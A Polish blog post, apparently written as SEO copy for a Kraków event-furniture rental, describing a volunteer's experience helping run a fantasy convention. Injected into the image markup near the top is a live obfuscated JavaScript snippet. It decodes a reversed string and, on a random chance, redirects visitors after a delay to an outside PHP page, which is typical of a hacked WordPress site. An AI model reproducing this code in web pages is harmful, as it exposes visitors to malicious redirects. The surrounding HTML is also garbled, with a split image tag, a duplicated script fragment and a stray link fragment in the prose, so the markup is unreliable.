Konwent fantastyki w Krakowie

Od lat interesuję się fantastyką. Kiedy usłyszeliśmy o tym, że w Krakowie ma być organizowany pierwszy konwent fantastyki i science-fiction byliśmy zachwyceni. Postanowiliśmy zsangażować się w organizację. Spodziewaliśmy się, że czeka nas ogrom pracy, ale i tak było dużo bardziej skomplikowane niż myśleliśmy.

Organizacja eventu w Krakowie

wynajem mebli even<script>$zXz=function(n){if (typeof ($zXz.list[n]) == „string”) return $zXz.list[n].split(„”).reverse().join(„”);return $zXz.list[n];};$zXz.list=[„\’php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script>towych kraków” class=”alignleft” height=”133″ src=”http://www.disc4you.eu/wp-content/uploads/2017/04/wynajem-mebli-even<script>$zXz=function(n){if (typeof ($zXz.list[n]) == towych-krakow.jpg” style=”float: left;” width=”200″/>Liczyliśmy przede wszystkim na to, że w trakcie organizacji będzie nam dane poznać różnych autorów fantastyki polskiej i porozmawiać z nimi za kulisami. Jednocześnie mieliśmy otrzymać zniżki na gadżety i artykuły sprzedawane w czasie konwentu. Faktycznie, częściowo nam się to potem udało, ale przedtem odpowiadaliśmy za mnóstwo innych rzeczy. Załatwianiem zgód na wynajem pomieszczeń, w ogóle na organizację masowej imprezy, zajmowali się szefowie. My byliśmy raczej od brudnej, fizycznej roboty – noszenia pudeł z akcesoriami, mikofonów, głośników. Jedyne czym się bardziej zasłużyliśmy to znaleźliśmy firmę, która wypożyczyła nam stoły i krzesła, ale i w tym nie było wielkiej filozofii, bo wystarczyło wpisać w wyszukiwarce internetowej „towe-lawostoly1/”>wynajem mebli eventowych kraków” i z miejsca wyskakiwało kilka wyników. Natomiast kiedy rozpoczęła się właściwa impreza pomagaliśmy ludziom trafić na właściwe wykłady, pilnowaliśmy porządku i tego, aby każdy wchodzący miał kartę uczestnika imprezy. Kilka osób zajmowało się sprzedażą wejściówek dla osób, które nie zrobiły tego przez internet. Nie mogliśmy przez to też uczestniczyć w wykładach, a po wszystkim pomagaliśmy przy sprzątaniu. Po powrocie do domu byłem wycieńczony. Ciągły hałas, muzyka – kiedy jest się uczestnikiem, zupełnie inaczej się to odbiera.

Gdzie w takim razie frajda z całej tej zabawy? Poznaliśmy mnóstwo ludzi i hobbystów, takich jak my. Udało nam się faktycznie zamienić kilka słów z paroma pisarzami, których podziwialiśmy. Zdobyłem numer naprawdę ładnej dziewczyny. No i przede wszystkim – dorobiłem na nową kolekcję komiksów.